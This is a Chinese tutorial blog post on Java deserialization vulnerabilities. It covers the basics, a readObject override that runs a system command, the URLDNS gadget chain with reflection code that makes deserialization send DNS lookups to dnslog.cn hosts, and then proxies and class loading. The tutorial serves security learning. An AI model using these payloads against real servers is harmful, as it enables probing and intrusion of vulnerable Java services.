Java-反序列化

news2025/4/5 15:37:16

序列化与反序列化

简单demo:

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;

public class serialize implements Serializable{
    private String name;
    private int age;
    serialize(String name, int age){
        this.name = name;
        this.age = age;
    }

    public String getName() {
        return name;
    }
    public int getAge() {
        return age;
    }
    public void setName(String name) {
        this.name = name;
    }
    public void setAge(int age) {
        this.age = age;
    }
    public static void main(String[] args) throws Exception  {
        // 序列化
        FileOutputStream fos = new FileOutputStream("serialize.bin");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        serialize serialize = new serialize("f12", 20);
        oos.writeObject(serialize);
        oos.close();
        // 反序列化
        FileInputStream fis = new FileInputStream("serialize.bin");
        ObjectInputStream ois = new ObjectInputStream(fis);
        serialize s = (serialize) ois.readObject();
        ois.close();
        System.out.print(s);
    }
}

可以看出writeObject就是序列化(注:只有实现了Serializable接口的类才能被序列化),readObject就是反序列化,建议自己上手不看demo敲。那么这将造成什么问题,很明显,当用户能控制序列化的数据时,而服务端又有反序列化的操作时,这时将任人拿捏。我想执行什么操作就能执行什么操作

可能的形式

  • 入口类的readObejct直接调用危险方法
  • 入口类参数包含可控类,可控类里有危险方法
  • 入口类参数包含可控类,该类又调用 其他含危险方法的类
  • 构造函数/静态代码块等类加载时隐式执行

java反序列化导致执行系统命令

简单demo:

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;

public class serialize implements Serializable{
    private String name;
    private int age;
    serialize(String name, int age){
        this.name = name;
        this.age = age;
    }

    public String getName() {
        return name;
    }
    public int getAge() {
        return age;
    }
    public void setName(String name) {
        this.name = name;
    }
    public void setAge(int age) {
        this.age = age;
    }

    private void readObject(ObjectInputStream ois) throws ClassNotFoundException, IOException{
        ois.defaultReadObject();
        Runtime.getRuntime().exec("calc");
    }
    public static void main(String[] args) throws Exception  {
        FileOutputStream fos = new FileOutputStream("serialize.bin");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(new serialize("f12", 20));
        oos.close();
        FileInputStream fis = new FileInputStream("serialize.bin");
        ObjectInputStream ois = new ObjectInputStream(fis);
        serialize s = (serialize) ois.readObject();
        System.out.println(s);
    }
}

重写serialize类的readObject方法,当对serialize进行反序列化时调用的是重写后的readObject方法,也就会弹出计算器。不过这种情况基本不会发生(不会有人这么蠢,危险函数直接写在readObject里),通常是通过找到一条gadget,通过构造,最终在某个重写的readObject中执行命令。

反序列化的思路

  • 都继承了Serializeable接口
  • 入口类source(重写readObject、参数类型宽泛、jdk自带就更好、常见函数)
  • 调用链(gadget chain)
  • 执行类 sink(ssrf,rce…)

入口类

入口类一般是Map,Hashmap,HashTable这些集合类,因为集合类型宽泛(泛型),因此肯定继承了Serializeable接口,在Hashmap类中也重写了readObject方法:
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

调用链

所谓调用链就是一条完整的命令执行流程,在入口类中的readObject方法中,最好有一些常见的方法,这样不管我们传什么东西进去,他都可以调用这个方法,也加大了进一步探索的可能调用链中一般会使用很多重名函数,为了实现不同的效果

执行类

Java反序列化的目的就是为了执行命令,所以最终得找到一个可以执行命令的类,这是相对比较困难的

反序列化漏洞入门(URLDNS)分析

漏洞分析

开局先找重写了readObject的类,这里直接看HashMap:
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

这里s是我们可控,转变成key,进入了hash函数,继续跟进
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

这里调用了key的hashCode函数,也就是调用了我们可控类的hashCode函数,所以说同名函数在反序列化中是非常重要的,因为这里分析的是URLDNS链,我们看URL类中有无hashCode函数:
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

找到,这里有个判断,如果hashCode不等于-1,就直接返回,否则就进入handler.hashCode函数,在URL类中hashCode的值默认是-1,所以我们跟进:
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

这里重点在于getHostAddress,顾名思义获取host地址,假如我们传入我们vps的地址,是不是就会访问我们的vps了呢?这里使用dnslog来测试:

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class URLDNS implements Serializable{
    public static void serialize(Object obj) throws Exception{
        FileOutputStream fos = new FileOutputStream("urldns.bin");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws Exception{
        FileInputStream fis = new FileInputStream(filename);
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
    }
    public static void main(String[] args) throws Exception{
        HashMap<URL,Integer> hashmap = new HashMap<>();
        try {
            URL url = new URL("http://4u3usz.dnslog.cn/");
            hashmap.put(url,1);
            serialize(hashmap);
            deserialize("urldns.bin");
        } catch (MalformedURLException e) {
            e.printStackTrace();
        }
    }
}

成功拿到请求
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

之后才注意到一个问题,我们就算不序列化和反序列化都能拿到请求,这是为什么?问题出现在hashmap.put这里,我们调试追踪一下:
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

发现在put的时候就触发了这里的getHostAddress,这时hashCode的值已经发生了改变,所以反序列化的时候根本就没触发DNS请求
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

那么怎么才能让我们反序列化的时候也触发DNS请求呢?hashCode的值肯定是要修改回-1的,如果要求只让我们反序列化的时候才触发DNS请求,put时的hashCode就不能是-1,所以怎么才能控制hashCode的值呢?这就需要用到反射的知识了

java反射

有反射就有正射
正射:通俗来讲就是我们常用的new,通过实例化类来获取一个对象
反射:跟正射反过来,通过实例化一个对象来获取它的类
举个栗子:

import java.io.FileOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.*;

public class reflect {
    public static void Serialize(Object obj) throws Exception {
        FileOutputStream fos = new FileOutputStream("user.bin");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);
    }
    public static void main(String[] args) throws Exception {
        // 正射
        user user = new user("f12", 20);
        Serialize(user);
        // 反射
        Class c = user.getClass();
        Constructor constructor = c.getConstructor(String.class, int.class);
        // 获取构造函数
        user newuser = (user) constructor.newInstance("F12", 21);
        System.out.println(newuser.getName());
        // 修改属性
        Field name = c.getDeclaredField("name");
        // 设置允许修改私有属性
        name.setAccessible(true);
        name.set(newuser, "F13");
        System.out.println(newuser.getName());
    }
}
import java.io.Serializable;

public class user implements Serializable {
    private String name;
    private int age;
    public user(String name, int age){
        this.name = name;
        this.age = age;
    }

    public String getName() {
        return name;
    }

    public void setName(String name) {
        this.name = name;
    }

    public int getAge() {
        return age;
    }
}

可以看出通过反射修改了对象的值,那么就能进行操作了

URLDNS

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.io.Serializable;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class URLDNS implements Serializable{
    public static void serialize(Object obj) throws Exception{
        FileOutputStream fos = new FileOutputStream("urldns.bin");
        ObjectOutputStream oos = new ObjectOutputStream(fos);
        oos.writeObject(obj);
    }
    public static void deserialize(String filename) throws Exception{
        FileInputStream fis = new FileInputStream(filename);
        ObjectInputStream ois = new ObjectInputStream(fis);
        ois.readObject();
    }
    public static void main(String[] args) throws Exception{
        HashMap<URL,Integer> hashmap = new HashMap<>();
        try {
            URL url = new URL("http://ig6af7.dnslog.cn/");
            Class u = url.getClass();
            Constructor constructor = u.getConstructor(String.class);
            URL newurl = (URL)constructor.newInstance("http://ig6af7.dnslog.cn/");
            Field hashCode = u.getDeclaredField("hashCode");
            hashCode.setAccessible(true);
            hashCode.set(newurl, 1);
            hashmap.put(newurl, 1);
            hashCode.set(newurl, -1);
            serialize(hashmap);
            deserialize("urldns.bin");
        } catch (MalformedURLException e) {
            e.printStackTrace();
        }
    }
}

JDK静态代理

一个demo:

package Proxy;

public interface Interface {
    void rent();
    void pay();
}
package Proxy;

public class Direct implements Interface{
    public void rent(){
        System.out.println("租房");
    }
    public void pay(){
        System.out.println("付款");
    }
}
package Proxy;

public class Proxy implements Interface{
    public Interface user;
    Proxy(Interface user){
        this.user = user;
    }
    public void rent(){
        user.rent();
        System.out.println("中介帮你租房");
    }
    public void pay(){
        user.pay();
        System.out.println("中介帮你付款");
    }
}

package Proxy;

public class Main {
    public static void main(String[] args) {
        Interface user = new Direct();
        Interface newuser = new Proxy(user);
        System.out.println("你自己:");
        user.rent();
        user.pay();
        System.out.println("找中介:");
        newuser.rent();
        newuser.pay();
    }
}

以上就是一个静态代理的例子,Proxy类相当于中介,我们可以通过它间接的去调用Direct的方法
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

静态代理的缺点就是当我们修改接口的化,Direct和Proxy类都得修改

JDK动态代理

package Proxy;

import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;

public class UserInvokationHandler implements InvocationHandler {
    Interface user;
    UserInvokationHandler(Interface user){
        this.user = user;
    }
    @Override
    public Object invoke(Object invoke, Method method, Object[] args) throws Throwable{
        System.out.println("这里是动态代理,调用了方法:"+method.getName());
        method.invoke(user, args);
        return null;
    }
}
package Proxy;
import java.lang.reflect.Proxy;
public class Main {
    public static void main(String[] args) {
        Interface user = new Direct();
        // 动态代理
        UserInvokationHandler userInvokationHandler = new UserInvokationHandler(user);
        Interface newuser = (Interface) Proxy.newProxyInstance(user.getClass().getClassLoader(), user.getClass().getInterfaces(), userInvokationHandler);
        newuser.rent();
        newuser.pay();
    }
}

以上就是动态代理,可能有点难以理解,总体上就是创建一个动态代理类,这里重写了invoke方法,方便展示,然后创建一个动态代理实例,传入的参数是Direct类的类加载器和接口,这样就代理上了Direct类,可以调用Direct类的方法了
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

动态代理与反序列化的关系

其实就是因为可能没有同名函数导致无法执行命令的问题,假如我们需要最终反序列化时执行B.danger(),我们的入口类时A(Object obj),但是A类里面并没有同名函数danger,只有A.abc => B.abc,obj为我们可控的类,但如果obj是个代理类,obj(Object obj2),而这个代理类里调用了danger,那么我们就可以用obj来代理B类,从而调用到B类的danger函数,即让obj2为B类

类的动态加载

首先介绍两个代码块:
构造代码块和静态代码块:

{
    System.out.println("构造代码块");
}

static {
 System.out.println("静态代码块");
}

这里涉及到一个类加载的问题,类加载的时候会执行代码(初始化)

package ClassLoader;

public class User {
    static {
        System.out.println("静态代码块");
    }

    {
        System.out.println("构造代码块");
    }

    User() {
        System.out.println("无参构造函数");
    }

    User(String key) {
        System.out.println("有参构造函数");
    }
}
package ClassLoader;

public class Test {
    public static void main(String[] args) throws ClassNotFoundException {
        Class.forName("ClassLoader.User");
    }
}

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

很明显这里只加载了静态代码块,其余代码块并未执行,我们可以设置类加载的时候不进行初始化,可以看到forName方法中initialize的默认值是true
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

package ClassLoader;

public class Test {
    public static void main(String[] args) throws ClassNotFoundException {
        Class.forName("ClassLoader.User", false, ClassLoader.getSystemClassLoader());
    }
}

设置不初始化的化,就不会执行代码,再来说说实例化也就我们的new,实例化跟初始化是不同的

package ClassLoader;

public class Test {
    public static void main(String[] args) throws ClassNotFoundException {
        new User();
    }
}

外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

可以看到实例化是两个代码块都执行了,这就是实例化跟初始化的区别

双亲委派机制

所谓的双亲委派机制,指的就是:当一个类加载器收到了类加载的请求的时候,他不会直接去加载指定的类,而是把这个请求委托给自己的父加载器去加载。只有父加载器无法加载这个类的时候,才会由当前这个加载器来负责类的加载。
Java中提供的这四种类型的加载器,是有各自的职责的:

  • Bootstrap ClassLoader ,主要负责加载Java核心类库,%JRE_HOME%\lib下的rt.jar、resources.jar、charsets.jar和class等。
  • Extention ClassLoader,主要负责加载目录%JRE_HOME%\lib\ext目录下的jar包和class文件。
  • Application ClassLoader ,主要负责加载当前应用的classpath下的所有类
  • User ClassLoader , 用户自定义的类加载器,可加载指定路径的class文件
    这样看来的话,用户自定义的类是不会让前两个加载器进行加载的,这里调试跟进一下加载过程
    外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

这里调用了loadclass,继续跟进
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

到这里,判断父加载器是否为空,不为空就调用父加载器进行加载
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

上面父加载器没找到,返回了APPClassLoader,这里进入URLClassLoader
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

然后进入defineClass
外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传

从结果上看加载进了User类的字节码,分析一下加载器的流程
ClassLoader->SecureClassloader->urlclassloaer->applicationclassloaer->loadclass->defineclass(加载字节码)

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2247618.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

webkit浏览器内核编译(2024年11月份版本)

webkit浏览器内核编译 本文详细介绍了如何安装和配置Webkit的编译环境和工具的安装&#xff0c;以及在Windows上编译和运行WebKit浏览器引擎的过程&#xff0c;包括安装依赖、设置环境变量、生成解决方案并最终运行附带的MiniBrowser示例。 一、WebKit简介 WebKit 是一个开源的…

论文阅读--Evidence for the utility of quantum computing before fault tolerance

量子计算有望在某些问题上提供比传统计算更快的速度。然而&#xff0c;实现其全部潜力的最大障碍是这些系统固有的噪声。这一挑战被广泛接受的解决方案是实现容错量子电路&#xff0c;而这超出了当前处理器的能力范围。我们在此报告了在嘈杂的127 量子比特处理器上进行的实验&a…

构建高效在线教育:SpringBoot课程管理系统

1系统概述 1.1 研究背景 随着计算机技术的发展以及计算机网络的逐渐普及&#xff0c;互联网成为人们查找信息的重要场所&#xff0c;二十一世纪是信息的时代&#xff0c;所以信息的管理显得特别重要。因此&#xff0c;使用计算机来管理在线课程管理系统的相关信息成为必然。开发…

Linux 下的IO模型

一&#xff1a;四种IO模 1.1&#xff1a;阻塞式IO&#xff08;最简单&#xff0c;最常用&#xff0c;效率最低&#xff09; 阻塞I/O 模式是最普遍使用的I/O 模式&#xff0c;大部分程序使用的都是阻塞模式的I/O 。 缺省情况下&#xff08;及系统默认状态&#xff09;&#xf…

Linux-Nginx反向代理

文章目录 反向代理负载均衡 &#x1f3e1;作者主页&#xff1a;点击&#xff01; &#x1f916;Linux专栏&#xff1a;点击&#xff01; ⏰️创作时间&#xff1a;2024年11月24日10点32分 反向代理 虚拟主机 1 为虚拟主机 3 提供代理服务 vi /etc/nginx/conf.d/vhost.confser…

DataGrip 连接 Redis、TongRDS

连接 Redis 或 TongRDS 有些旧版本 没有 redis 驱动用不了 1&#xff09;选择驱动 2&#xff09;添加连接信息 3&#xff09;测试连接 4&#xff09;保存连接 5&#xff09;使用案例

《数据结构》学习系列——图(中)

系列文章目录 目录 图的遍历深度优先遍历递归算法堆栈算法 广度优先搜索 拓扑排序定义定理算法思想伪代码 关键路径基本概念关键活动有关量数学公式伪代码时间复杂性 图的遍历 从给定连通图的某一顶点出发&#xff0c;沿着一些边访问遍图中所有的顶点&#xff0c;且使每个顶点…

CodeCache使用率告警分析

CodeCache 是 JVM 用于存储已编译的本地代码&#xff08;即 JIT 编译生成的代码&#xff09;的内存区域。如果 CodeCache 使用率持续较高&#xff0c;特别是大于 80%&#xff0c;可能会导致性能问题甚至应用运行异常。以下是详细分析&#xff1a; 一、CodeCache 使用率告警的意…

CSS:怎么把网站都变成灰色

当大家看到全站的内容都变成了灰色&#xff0c;包括按钮、图片等等。这时候我们可能会好奇这是怎么做到的呢&#xff1f; 有人会以为所有的内容都统一换了一个 CSS 样式&#xff0c;图片也全换成灰色的了&#xff0c;按钮等样式也统一换成了灰色样式。但你想想这个成本也太高了…

JS的DOM操作和事件监听综合练习 (具备三种功能的轮播图案例)

下面是是对dom操作的一个综合练习 下面代码是html的基本骨架&#xff08;没有任何的功能&#xff09;&#xff1a; <!DOCTYPE html> <html lang"en"> <head> <meta charset"UTF-8"> <meta name"viewport" c…

GitHub 开源项目 Puter :云端互联操作系统

每天面对着各种云盘和在线应用&#xff0c;我们常常会遇到这样的困扰。 文件分散在不同平台很难统一管理&#xff0c;付费订阅的软件越来越多&#xff0c;更不用说那些烦人的存储空间限制了。 最近在 GitHub 上发现的一个开源项目 Puter 彻底改变了我的在线办公方式。 让人惊…

鸿蒙进阶篇-状态管理之@Provide与@Consume

大家好&#xff0c;这里是鸿蒙开天组&#xff0c;今天我们来学习一下状态管理中的Provide与Consume。 一、概述 嘿&#xff01;大家还记得这张图吗&#xff1f;不记得也要记得哦&#xff0c;因为这张图里的东西&#xff0c;既是高频必考面试题&#xff0c;也是实际开发中&…

Python 使用 OpenCV 将 MP4 转换为 GIF图

以下是使用 Python 和 OpenCV 将 MP4 转换为 GIF 的示例代码&#xff1a; python import cv2 import imageiodef mp4_to_gif(mp4_path, gif_path, fps10, start_timeNone, end_timeNone):"""将MP4视频转换为GIF动图。:param mp4_path: 输入MP4视频的路径。:pa…

五天SpringCloud计划——DAY1之mybatis-plus的使用

一、引言 咱也不知道为啥SpringCloud课程会先教mybatis-plus的使用&#xff0c;但是教都教了&#xff0c;就学了吧&#xff0c;学完之后觉得mybatis-plus中的一些方法还是很好用了&#xff0c;本文作为我学习mybatis-plus的总结提升&#xff0c;希望大家看完之后也可以熟悉myba…

TCP为什么需要三次握手?两次握手或四次握手可以吗?

&#xff08;1&#xff09;三次握手可以保证双方具有接收和发送的能力 第一次握手服务端可以确认客户端的发送能力和服务端的接收能力是正常的&#xff1b;第二次握手客户端可以确认客户端和服务端的收发能力是正常的&#xff0c;但是服务端无法确认客户端的接收能力是正常的&…

Python 获取微博用户信息及作品(完整版)

在当今的社交媒体时代&#xff0c;微博作为一个热门的社交平台&#xff0c;蕴含着海量的用户信息和丰富多样的内容。今天&#xff0c;我将带大家深入了解一段 Python 代码&#xff0c;它能够帮助我们获取微博用户的基本信息以及下载其微博中的相关素材&#xff0c;比如图片等。…

vue面试题——描述一下vue

目录 1 vue是什么2 Vue的核心特性2.1 数据驱动&#xff08;MVVM&#xff09;2.2 组件化2.3 指令系统 3 Vue跟传统开发的区别 1 vue是什么 简单点说&#xff0c;vue就是一个用于创建用户界面的JavaScript框架&#xff0c;同时也是一个创建单页面应用的Web应用框架&#xff0c;Vu…

Large Spatial Model:End-to-end Unposed Images to Semantic 3D 论文解读

目录 一、概述 二、相关工作 1、SfM和可微神经表示 2、端到端的Image-to-3D 三、LSM 1、密集几何预测 2、2D信息特征提取 3、点特征融合 4、可微渲染 5、损失函数 四、实验 一、概述 该论文提出一种大型空间模型&#xff08;Larget Spatial Model,LSM&#xff09;…

A045-基于spring boot的个人博客系统的设计与实现

&#x1f64a;作者简介&#xff1a;在校研究生&#xff0c;拥有计算机专业的研究生开发团队&#xff0c;分享技术代码帮助学生学习&#xff0c;独立完成自己的网站项目。 代码可以查看文章末尾⬇️联系方式获取&#xff0c;记得注明来意哦~&#x1f339; 赠送计算机毕业设计600…

VMware17安装之VMware Workstation Pro 16升级到17详细教程

VMware17安装之VMware Workstation Pro 16升级到17详细教程 一、下载安装包二、开始安装三、升级成功 当前使用的是VMware Workstation 16 Pro版本&#xff0c;想用最新的17&#xff0c;但是又不想卸载原来的&#xff0c;所以想尝试下看看能不能直接升级&#xff0c;最终升级成…